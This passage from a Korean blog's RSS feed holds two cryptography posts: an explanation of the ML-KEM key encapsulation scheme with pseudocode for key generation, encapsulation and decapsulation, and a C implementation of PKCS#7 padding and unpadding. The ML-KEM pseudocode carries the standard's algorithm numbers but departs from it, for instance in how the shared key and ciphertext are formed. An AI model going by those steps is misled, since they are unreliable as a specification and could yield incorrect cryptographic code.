&lt;td style=&quot;width: 29.418605%;&quot;&gt;&lt;span&gt;ML-KEM-768&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 18.72093%;&quot;&gt;&lt;span&gt;2⁻&amp;sup1;⁶⁴.⁸&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 29.418605%;&quot;&gt;&lt;span&gt;ML-KEM-1024&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 18.72093%;&quot;&gt;&lt;span&gt;2⁻&amp;sup1;⁷⁴.⁸&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;ML-KEM 작동 방식&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. KeyGen&lt;/b&gt;&lt;span&gt;:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Alice가 키 페어 (Encapsulation Key, Decapsulation Key)를 생성&lt;/li&gt;
&lt;li&gt;Encapsulation Key는 공개, Decapsulation Key는 비밀&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;입력 : &lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;내부적으로 사용되는 랜덤 바이트&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;z&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(암호모듈이 생성함)&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출력:&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;ek&lt;/span&gt;: Encapsulation Key (공개키)&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;dk&lt;/span&gt;: Decapsulation Key (비밀키)&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;랜덤 시드 d&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; NTT를 위한 행렬&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;A&lt;/span&gt;를 생성&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;노이즈 다항식 샘플링&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; 비밀 벡터&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;s&lt;/span&gt;, 오류 벡터&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;를 생성&lt;/li&gt;
&lt;li&gt;&lt;span&gt;t = A ∘ s + e&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(모듈 기반 다항식 연산)&lt;/li&gt;
&lt;li&gt;공개키&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;ek&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;= 압축된&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;A&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;t&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;값&lt;/li&gt;
&lt;li&gt;비밀키&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;dk&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;=&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;s&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;t&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;z&lt;/span&gt;, 그리고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;H(ek)&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;해시값&lt;/li&gt;
&lt;/ol&gt;
&lt;pre id=&quot;code_1745091956465&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Algorithm 19 ML-KEM.KeyGen()
Input: None
Output: (ek, dk) &amp;mdash; encapsulation key, decapsulation key

1: d &amp;larr;$ B32                   // 32바이트 랜덤값
2: z &amp;larr;$ B32                   // 또 다른 32바이트 랜덤값
3: (ek, dk) &amp;larr; ML-KEM.KeyGen_internal(d, z)
4: return (ek, dk)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;2. Encaps&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(Bob이 실행):&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Alice의 Encapsulation Key를 이용해 공유 비밀키&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;K&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;생성 + 캡슐화된 메시지&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;ciphertext&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;생성&lt;/li&gt;
&lt;li&gt;이&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;ciphertext&lt;/span&gt;를 Alice에게 전송&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;입력:&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;ek&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(Alice의 공개키)&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출력:&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;c&lt;/span&gt;: ciphertext (암호문)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;K&lt;/span&gt;: 공유 비밀키 (256비트)&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;랜덤 메시지 m 생성 (32바이트)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;m&lt;/span&gt;과&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;H(ek)&lt;/span&gt;를 해시하여 암호화용 시드&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;r&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;및 해시값&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;생성&lt;/li&gt;
&lt;li&gt;&lt;span&gt;m&lt;/span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;r&lt;/span&gt;를 사용하여 Kyber 기반 PKE 암호화를 수행:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;(u, v)&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;형태의 암호문 생성 (NTT 기반 다항식 연산)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;c = (u, v, d)&lt;/li&gt;
&lt;li&gt;공유 비밀키&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;K&lt;/span&gt;는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;H(m, c)&lt;/span&gt;를 통해 유도&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1745091984197&quot; class=&quot;reasonml&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Algorithm 20 ML-KEM.Encaps(ek)
Input: ek &amp;mdash; encapsulation key
Output: (c, K) &amp;mdash; ciphertext, shared secret key

1: m &amp;larr;$ B32                         // 무작위 메시지 생성
2: d &amp;larr; H(m || H(ek))               // 해시 통해 바인딩
3: (cPKE, m') &amp;larr; K-PKE.Encrypt(ek, m, d)
4: K &amp;larr; H(m || cPKE)                // 공유키 생성
5: c &amp;larr; cPKE || d                   // 암호문 구성
6: return (c, K)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&lt;b&gt;3. Decaps&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(Alice가 실행):&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;받은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;ciphertext&lt;/span&gt;와 자신의 비밀키(Decapsulation Key)를 사용해 공유 비밀키&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;K&amp;prime;&lt;/span&gt;를 복원&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;입력:&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;dk&lt;/span&gt;: 비밀키&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;c&lt;/span&gt;: 암호문&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출력:&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;K&amp;prime;&lt;/span&gt;: 공유 비밀키 (256비트)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;암호문&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;c&lt;/span&gt;를 디코딩 &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;(u, v, d)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;dk&lt;/span&gt;의 비밀값을 사용해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;(u, v)&lt;/span&gt;를 복호화 &amp;rarr; 메시지&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;m&amp;prime;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;복원&lt;/li&gt;
&lt;li&gt;&lt;span&gt;ek&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;해시와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;m&amp;prime;&lt;/span&gt;을 사용해 새로운 암호문&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;c&amp;prime;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;재생성&lt;/li&gt;
&lt;li&gt;c&amp;prime; == c&lt;span&gt;이면:&lt;/span&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;K&amp;prime; = H(m&amp;prime;, c)&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;사용&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;그렇지 않으면:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;K&amp;prime; = H(z, c)&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(z는 비밀키 생성시 포함된 랜덤 값)&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; letter-spacing: 0px;&quot;&gt;마지막 단계는&lt;/span&gt;&lt;span style=&quot;color: #333333; letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333; letter-spacing: 0px;&quot;&gt;&lt;b&gt;IND-CCA2 보안&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; letter-spacing: 0px;&quot;&gt;을 보장하기 위한 방어 기법입니다. 암호문이 조작되었을 경우에도&lt;/span&gt;&lt;span style=&quot;color: #333333; letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333; letter-spacing: 0px;&quot;&gt;K&amp;prime;&lt;/span&gt;&lt;span style=&quot;color: #333333; letter-spacing: 0px;&quot;&gt;를 추정할 수 없게 만듭니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre id=&quot;code_1745092027605&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Algorithm 21 ML-KEM.Decaps(dk, c)
Input: dk &amp;mdash; decapsulation key, c &amp;mdash; ciphertext
Output: K&amp;prime; &amp;mdash; shared secret key

1: Parse c as (cPKE, d)
2: m&amp;prime; &amp;larr; K-PKE.Decrypt(dk, cPKE)
3: (cPKE&amp;prime;, m&amp;Prime;) &amp;larr; K-PKE.Encrypt(ek, m&amp;prime;, d)
4: if cPKE&amp;prime; == cPKE then
5:     K&amp;prime; &amp;larr; H(m&amp;prime; || c)
6: else
7:     K&amp;prime; &amp;larr; H(z || c)              // CCA 방어
8: return K&amp;prime;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;기술적 특성&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CRYSTALS-KYBER&lt;/b&gt;&lt;span&gt;에서 파생된 알고리즘&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;NTT (Number-Theoretic Transform)&lt;/b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;활용해 다항식 곱셈 최적화&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&lt;b&gt;IND-CCA2 보안 보장&lt;/b&gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(적응적 선택 암호문 공격에 안전)&lt;/li&gt;
&lt;li&gt;키 및 캡슐 크기:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;예: ML-KEM-512는 공개키 800바이트, 비밀키 1632바이트, 캡슐화 메시지 768바이트, 공유 비밀키 32바이트&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>암호/양자내성암호(PQC)</category>
      <category>ml-kem</category>
      <category>PQC</category>
      <category>양자내성암호</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/9</guid>
      <comments>https://defcon.tistory.com/9#entry9comment</comments>
      <pubDate>Sun, 20 Apr 2025 18:05:48 +0900</pubDate>
    </item>
    <item>
      <title>블록암호 PKCS#7 패딩 기능 C언어 구현</title>
      <link>https://defcon.tistory.com/8</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;151&quot; data-start=&quot;129&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;PKCS#7 패딩 개요&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-end=&quot;349&quot; data-start=&quot;152&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;193&quot; data-start=&quot;152&quot;&gt;블록 크기: 일반적으로 8바이트(64비트) 또는 16바이트(128비트)&lt;/li&gt;
&lt;li data-end=&quot;349&quot; data-start=&quot;194&quot;&gt;패딩 규칙:
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;349&quot; data-start=&quot;205&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;257&quot; data-start=&quot;205&quot;&gt;패딩이 필요한 경우:&lt;span&gt;&amp;nbsp;&lt;/span&gt;N&lt;span&gt;&amp;nbsp;&lt;/span&gt;바이트를 패딩해야 한다면,&lt;span&gt;&amp;nbsp;&lt;/span&gt;N&lt;span&gt;&amp;nbsp;&lt;/span&gt;바이트 모두&lt;span&gt;&amp;nbsp;&lt;/span&gt;N으로 채움&lt;/li&gt;
&lt;li data-end=&quot;349&quot; data-start=&quot;260&quot;&gt;패딩이 필요 없는 경우(블록 크기의 정확한 배수): 전체 블록 크기만큼 패딩 추가 (block_size&lt;span&gt;&amp;nbsp;&lt;/span&gt;바이트 모두&lt;span&gt;&amp;nbsp;&lt;/span&gt;block_size&lt;span&gt;&amp;nbsp;&lt;/span&gt;값으로 채움)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-end=&quot;373&quot; data-start=&quot;351&quot; data-ke-size=&quot;size16&quot;&gt;예시 (AES의 16바이트 블록 기준):&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-end=&quot;500&quot; data-start=&quot;374&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;437&quot; data-start=&quot;374&quot;&gt;원문:&lt;span&gt;&amp;nbsp;&lt;/span&gt;YELLOW SUBMARINE&lt;span&gt;&amp;nbsp;&lt;/span&gt;(16바이트) &amp;rarr; 패딩 추가:&lt;span&gt;&amp;nbsp;&lt;/span&gt;0x10 0x10 ... (16번)&lt;/li&gt;
&lt;li data-end=&quot;500&quot; data-start=&quot;438&quot;&gt;원문:&lt;span&gt;&amp;nbsp;&lt;/span&gt;YELLOW SUB&lt;span&gt;&amp;nbsp;&lt;/span&gt;(11바이트) &amp;rarr; 패딩 추가:&lt;span&gt;&amp;nbsp;&lt;/span&gt;0x05 0x05 0x05 0x05 0x05&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;PKCS#7 패딩 구현&lt;/h2&gt;
&lt;pre id=&quot;code_1745043929330&quot; class=&quot;cpp&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

void pkcs7_pad(unsigned char *input, size_t input_len, size_t block_size,
               unsigned char **output, size_t *output_len) {
    size_t pad_len = block_size - (input_len % block_size);
    *output_len = input_len + pad_len;
    *output = (unsigned char *)malloc(*output_len);
    if (*output == NULL) {
        perror(&quot;malloc failed&quot;);
        exit(1);
    }

    memcpy(*output, input, input_len);
    memset(*output + input_len, (unsigned char)pad_len, pad_len);
}

int pkcs7_unpad(unsigned char *input, size_t input_len,
                unsigned char **output, size_t *output_len) {
    if (input_len == 0) return -1;

    unsigned char pad_len = input[input_len - 1];

    if (pad_len == 0 || pad_len &amp;gt; input_len) return -1;

    for (size_t i = 0; i &amp;lt; pad_len; ++i) {
        if (input[input_len - 1 - i] != pad_len)
            return -1;  // Invalid padding
    }

    *output_len = input_len - pad_len;
    *output = (unsigned char *)malloc(*output_len);
    if (*output == NULL) {
        perror(&quot;malloc failed&quot;);
        return -1;
    }

    memcpy(*output, input, *output_len);
    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Programming/C, C++</category>
      <category>AES</category>
      <category>padding</category>
      <category>pkcs#7패딩</category>
      <category>블록암호</category>
      <category>암호</category>
      <category>패딩</category>
      <category>패딩기법</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/8</guid>
      <comments>https://defcon.tistory.com/8#entry8comment</comments>
      <pubDate>Sun, 20 Apr 2025 10:26:28 +0900</pubDate>
    </item>
  </channel>
</rss>